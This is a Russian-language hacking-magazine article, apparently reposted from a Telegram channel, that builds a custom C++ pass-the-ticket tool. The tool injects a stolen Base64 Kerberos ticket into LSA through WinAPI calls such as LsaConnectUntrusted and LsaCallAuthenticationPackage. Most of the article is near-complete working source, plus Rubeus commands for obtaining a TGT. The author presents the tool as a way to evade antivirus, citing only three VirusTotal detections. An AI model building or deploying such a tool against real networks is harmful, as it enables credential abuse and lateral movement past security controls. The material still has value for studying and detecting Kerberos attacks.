Хакер - Долой Mimikatz! Инжектим тикеты своими руками
hacker_frei
MichelleVermishelle
Содержание статьи
- Получение тикета
- Подключение к LSA
- Обнаружение AP
- Внедрение билета
- Проверка
- Выводы
Для реализации целого ряда атак типа pass the ticket необходимо внедрить в скомпрометированную систему билет Kerberos. Обычно для этого используются инструменты вроде Mimikatz, Impacket или Rubeus, но они отлично палятся антивирусами, что делает такой подход неэффективным. В этой статье я подробно рассмотрю методы решения этой задачи без вспомогательных инструментов, с использованием только WinAPI и магии.
В предыдущей моей статье я рассказал об Authentication Package, Security Package и мы успешно перехватили пароль пользователя. Но этого мало, не так ли? Следующим шагом будет внедрение билетов Kerberos для реализации атаки pass the ticket. Само собой, никакого Mimikatz и Impacket мы использовать не будем. Абсолютно все будет сделано своими силами (ну и с использованием стандартного Win32 API).
ПОЛУЧЕНИЕ ТИКЕТА
Тикет передается атакующему, например при дампе, в формате Base64 — в «сыром» виде тикет может иметь непечатаемые символы, что приведет к выводу на экран непонятно чего. В связи с этим, чтобы наш код мог инжектить рабочие тикеты, следует предусмотреть в нем возможность декодировать полученную строку. Предлагаю создать файл stuff.h, в котором реализуем простенькую функцию для декодирования значения Base64. Дополнительно поместим туда все заголовочные файлы, которые потребуются нам в будущем.
#pragma once
#define WIN32_NO_STATUS
#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <NTSecAPI.h>
#include <ntsecpkg.h>
#include <iostream>
#include <string>
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#pragma comment (lib, "Secur32.lib")
static char encoding_table[] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/' };
static char* decoding_table = NULL;
static int mod_table[] = { 0, 2, 1 };
void build_decoding_table();
unsigned char* base64_decode(const char* data, size_t input_length, size_t* output_length);
void build_decoding_table() {
decoding_table = (char*)malloc(256);
if (decoding_table == NULL) {
exit(-1);
}
for (int i = 0; i < 64; i++) {
decoding_table[(unsigned char)encoding_table[i]] = i;
}
}
unsigned char* base64_decode(const char* data, size_t input_length, size_t* output_length) {
if (decoding_table == NULL) build_decoding_table();
if (input_length % 4 != 0) return NULL;
*output_length = input_length / 4 * 3;
if (data[input_length - 1] == '=') {
(*output_length)--;
}
if (data[input_length - 2] == '=') (*output_length)--;
unsigned char* decoded_data = (unsigned char*)malloc(*output_length);
if (decoded_data == NULL) return NULL;
for (int i = 0, j = 0; i < input_length;) {
DWORD sextet_a = data[i] == '=' ? 0 & i++ : decoding_table[data[i++]];
DWORD sextet_b = data[i] == '=' ? 0 & i++ : decoding_table[data[i++]];
DWORD sextet_c = data[i] == '=' ? 0 & i++ : decoding_table[data[i++]];
DWORD sextet_d = data[i] == '=' ? 0 & i++ : decoding_table[data[i++]];
DWORD triple = (sextet_a << 3 * 6)
+ (sextet_b << 2 * 6)
+ (sextet_c << 1 * 6)
+ (sextet_d << 0 * 6);
if (j < *output_length) decoded_data[j++] = (triple >> 2 * 8) & 0xFF;
if (j < *output_length) decoded_data[j++] = (triple >> 1 * 8) & 0xFF;
if (j < *output_length) decoded_data[j++] = (triple >> 0 * 8) & 0xFF;
}
return decoded_data;
}
Тикет нашей программе мы будем передавать через аргументы командной строки. Создадим файл Source.cpp с таким содержимым:
#include "stuff.h"
void usage() {
std::cout << "ptt.exe <b64 ticket>" << std::endl;
}
int main(int argc, char** argv) {
if (argc != 2) {
usage();
return 1;
}
unsigned int kirbiSize = 0;
char* ticket = argv[1];
unsigned char* kirbiTicket = base64_decode(ticket, strlen(ticket), &kirbiSize);
if (kirbiSize == 0) {
std::wcout << L"[-] Error converting from b64" << std::endl;
return 1;
}
...
В этом файле мы получаем второй аргумент, содержащий закодированный в Base64 тикет. Первый — это имя программы: например, в случае вызова prog.exe 123 в argv[0] будет prog.exe, а в argv[1] — 123. После чего вызываем функцию для декодирования, проверяем, что размер изменился. Ведь если изменился размер, значит, что‑то (может, даже и успешно) декодировалось.
ПОДКЛЮЧЕНИЕ К LSA
Именно процесс службы LSA будет хранить в своем адресном пространстве все тикеты. Внутри процесса lsass.exe подгружена kerberos.dll, которая и реализует все функции одноименного протокола. Так или иначе, следует отличать TGT от TGS, да и в принципе понимать работу «Кербероса». Вот видеоролики, которые позволят новичкам разобраться в теме:
- Керберос. Использование аутентификационных протоколов Windows в тестировании на проникновение;
- Школа информационной безопасности Яндекса. Windows & AD.
Подключиться к LSA несложно, для этого есть две специальные функции.
NTSTATUS LsaRegisterLogonProcess(
[in] PLSA_STRING LogonProcessName,
[out] PHANDLE LsaHandle,
[out] PLSA_OPERATIONAL_MODE SecurityMode
);
NTSTATUS LsaConnectUntrusted(
[out] PHANDLE LsaHandle
);
Первая позволяет получить хендл на LSA от лица процесса входа в систему. Эту функцию, например, вызывает winlogon.exe во время входа пользователя в систему. С помощью полученного таким образом хендла появится возможность использовать LSA для аутентификации, управления пользовательским входом и доступом.
Вторая функция достаточно незамысловата — просто подключение к LSA от лица «недоверенного» процесса. Само собой, в этом случае нельзя будет использовать LSA для аутентификации, но возможность простого взаимодействия с подгруженными пакетами аутентификации останется. Для нас предпочтительнее именно этот вариант.
HANDLE lsa_handle = NULL;
NTSTATUS status = LsaConnectUntrusted(&lsa_handle);
if (!NT_SUCCESS(status) || !lsa_handle) {
std::wcout << L"[-] Error connecting to lsa: " << LsaNtStatusToWinError(status) << std::endl;
return 1;
}
Здесь мы получаем хендл на LSA, а затем проверяем с помощью ранее созданного макроса NT_SUCCESS() (лежит в stuff.h), что функция успешно сработала.
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
Если что‑то пошло не так, дергаем LsaNtStatusToWinError(). Эта функция позволяет конвертировать непонятный код, с которым завершилась функция, в человеческий код ошибки. Чтобы узнать, в чем дело, скопируй полученное значение и сравни его с ошибками в документации Microsoft.
ОБНАРУЖЕНИЕ AP
У LSA каждый Authentication Package идентифицируется специальным номером, эдаким «айдишником», благодаря которому система понимает, с чем требуется взаимодействовать для реализации функций безопасности. Это числовое значение абсолютно рандомно, оно присваивается самой LSA, где и хранится до перезагрузки системы. Для получения этого номера используется функция LsaLookupAuthenticationPackage().
NTSTATUS LsaLookupAuthenticationPackage(
[in] HANDLE LsaHandle,
[in] PLSA_STRING PackageName,
[out] PULONG AuthenticationPackage
);
Первым параметром мы передаем хендл LSA, полученный вызовом LsaConnectUntrusted(), а дальше начинаются проблемы. Функция просит передать ей структуру LSA_STRING, которая выглядит вот так:
typedef struct _LSA_STRING {
USHORT Length;
USHORT MaximumLength;
PCHAR Buffer;
} LSA_STRING, *PLSA_STRING;
У меня далеко не с первого раза получилось корректно инициализировать ее. Поэтому, чтобы не мучиться в будущем, реализовал небольшую функцию, принимающую имя пакета аутентификации и возвращающую заполненную структуру:
LSA_STRING* create_lsa_string(const char* value)
{
char* buf = new char[100];
LSA_STRING* str = (LSA_STRING*)buf;
str->Length = strlen(value);
str->MaximumLength = str->Length;
str->Buffer = buf + sizeof(LSA_STRING);
memcpy(str->Buffer, value, str->Length);
return str;
}
// Вызов
PLSA_STRING lsaString = create_lsa_string("kerberos");
ULONG authenticationpackage = 0;
status = LsaLookupAuthenticationPackage(lsa_handle, lsaString, &authenticationpackage);
if (authenticationpackage == 0) {
std::wcout << L"[-] Error LsaLookupAP: " << LsaNtStatusToWinError(status) << std::endl;
return 1;
}
std::wcout << L"[?] Package id " << authenticationpackage << std::endl;
Если вызов был успешен, то LSA вернет нам этот самый «айдишник» AP Kerberos, с помощью которого мы сможем взаимодействовать через LSA с Kerberos.dll.
ВНЕДРЕНИЕ БИЛЕТА
Осталось лишь отдать билет Kerberos в соответствующий AP для его инициализации. Для взаимодействия с конкретным AP LSA предоставляет функцию LsaCallAuthenticationPackage(), которую мы и будем использовать для внедрения билета:
NTSTATUS LsaCallAuthenticationPackage(
[in] HANDLE LsaHandle,
[in] ULONG AuthenticationPackage,
[in] PVOID ProtocolSubmitBuffer,
[in] ULONG SubmitBufferLength,
[out] PVOID *ProtocolReturnBuffer,
[out] PULONG ReturnBufferLength,
[out] PNTSTATUS ProtocolStatus
);
Первым параметром указывается тот же хендл на LSA, что и в предыдущих функциях, вторым — «айдишник» пакета аутентификации. Далее в ProtocolSubmitBuffer и SubmitBufferLength следует передать информацию, которую мы хотим сообщить пакету аутентификации (в нашем случае это TGT-билет). В ProtocolReturnBuffer, ReturnBufferLength сам AP может поместить данные, которые хочет вернуть программе. Наконец, последним параметром возвращается идентификатор ошибки.
Просто взять и засунуть билет в вызов этой функции не получится. На текущем этапе наш билет находится в переменной kirbiTicket. Сначала следует сгенерировать структуру KERB_SUBMIT_TKT_REQUEST:
typedef struct _KERB_SUBMIT_TKT_REQUEST {
KERB_PROTOCOL_MESSAGE_TYPE MessageType;
LUID LogonId;
ULONG Flags;
KERB_CRYPTO_KEY32 Key;
ULONG KerbCredSize;
ULONG KerbCredOffset;
} KERB_SUBMIT_TKT_REQUEST, *PKERB_SUBMIT_TKT_REQUEST
Здесь используются следующие параметры:
- MessageType — определяет типы сообщений, которые мы можем передать в AP Kerberos. Для инжекта тикета мы будем передавать
KerbSubmitTicketMessage. Это означает процедуру получения тикета от KDC и обновление кеша билетов; LogonId— уникальный идентификатор текущей сессии, позволяющий AP идентифицировать, к какой сессии применять тикет (если не указано, то AP Kerberos определит LUID самостоятельно);Flags— дополнительные флаги;- Key — структура, содержащая информацию о сессионном ключе для тикета Kerberos;
KerbCredSize,KerbCredOffset— в случае инжекта тикета в первый параметр передаем размер тикета, а во второй — сдвиг. Сдвиг определяет размер этой структуры. Так как мы будем передавать в AP тикет и эту структуру, то AP должен знать, начиная с какого смещения лежит тикет.
Корректная передача билета в AP Kerberos выглядит вот так:
NTSTATUS packageStatus;
DWORD submitSize, responseSize;
PKERB_SUBMIT_TKT_REQUEST pKerbSubmit;
PVOID dumPtr;
submitSize = sizeof(KERB_SUBMIT_TKT_REQUEST) + kirbiSize;
if (pKerbSubmit = (PKERB_SUBMIT_TKT_REQUEST)LocalAlloc(LPTR, submitSize))
{
pKerbSubmit->MessageType = KerbSubmitTicketMessage;
pKerbSubmit->KerbCredSize = kirbiSize;
pKerbSubmit->KerbCredOffset = sizeof(KERB_SUBMIT_TKT_REQUEST);
RtlCopyMemory((PBYTE)pKerbSubmit + pKerbSubmit->KerbCredOffset, kirbiTicket, pKerbSubmit->KerbCredSize);
status = LsaCallAuthenticationPackage(lsa_handle, authenticationpackage, pKerbSubmit, submitSize, &dumPtr, &responseSize, &packageStatus);
if (NT_SUCCESS(status))
{
if (NT_SUCCESS(packageStatus))
{
std::wcout << L"[+] Injected\n" << std::endl;
status = 0x0;
}
else if (LsaNtStatusToWinError(packageStatus) == 1398) {
std::wcout << L"[!!!!] ERROR_TIME_SKEW between KDC and host computer" << std::endl;
}
else std::wcout << L"[-] KerbSubmitTicketMessage / Package :" << LsaNtStatusToWinError(packageStatus) << "\n";
}
else std::wcout << L"[-] KerbSubmitTicketMessage :" << LsaNtStatusToWinError(status) << "\n";
}
LsaDeregisterLogonProcess(lsa_handle);
return 0;
}
Сначала мы рассчитываем размер всех данных, которые будут переданы в AP. Этот размер равен размеру структуры KERB_SUBMIT_TGT_REQUEST (чтобы AP понял, что нам от него надо) плюс размер тикета. Далее под эту структуру выделяется память, после чего инициализируются ее элементы.
В pKerbSubmit->KerbCredOffset мы помещаем размер структуры, чтобы «Керберос» знал, что по адресу pKerbSubmit + pKerbSubmit->KerbCredOffset будет лежать тикет размером pKerbSubmit->KerbCredSize (KirbiSize). Копируем по рассчитанному адресу тикет, после чего вызываем AP с передачей инициализированной структуры. Затем проверяем код ошибки дважды. Первый код ошибки (status) — возможная проблема при вызове самой функции, например если lsa_handle невалидный. А второй код (packageStatus) — код ошибки непосредственно самого AP, например если мы передадим неправильный размер.
Причем я вынес в отдельный блок проверку на ошибку ERROR_TIME_SKEW, которая появляется из‑за расхождения (более пяти минут) во времени между хостом и KDC. Если подобная разница присутствует, то TGT-билет не может быть обновлен из‑за того, что невозможно корректно пройти этап предаутентификации. Да, тикет получится использовать, но лишь до тех пор, пока он не протухнет. По умолчанию время жизни TGT-билета — десять часов.
После этого тикет будет успешно внедрен в процесс lsass.exe и мы сможем его использовать. Функцией LsaDeregisterLogonProcess() мы просто освобождаем хендл на LSA.
ПРОВЕРКА
Остается лишь проверить работоспособность кода. Полный код проекта представлен на GitHub. Сначала мы получим валидный TGT-билет любым удобным способом. Например, с помощью Rubeus:
.\Rubeus.exe tgtdeleg /nowrap

Переместимся на другую систему и проведем инжект:
.\project.exe <b64 ticket>

ВЫВОДЫ
Множество атак можно реализовать без использования популярных и общеизвестных инструментов. У такого подхода есть как минимум одно преимущество: из‑за уникальности кода, использования легитимных API и отсутствия в сигнатурных базах появляется возможность обойти антивирусное ПО в два счета. Я загрузил свой проект на VirusTotal, не сделав абсолютно никакой обфускации и защиты. Вот как есть, так и закинул, со всеми подозрительными строками, например [+] Injected, и получил всего три детекта.

Как ты понимаешь, если мы зальем туда Mimikatz, Rubeus или другой подобный инструмент, который умеет выполнять внедрение билетов, то детектов будет на порядок больше.
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei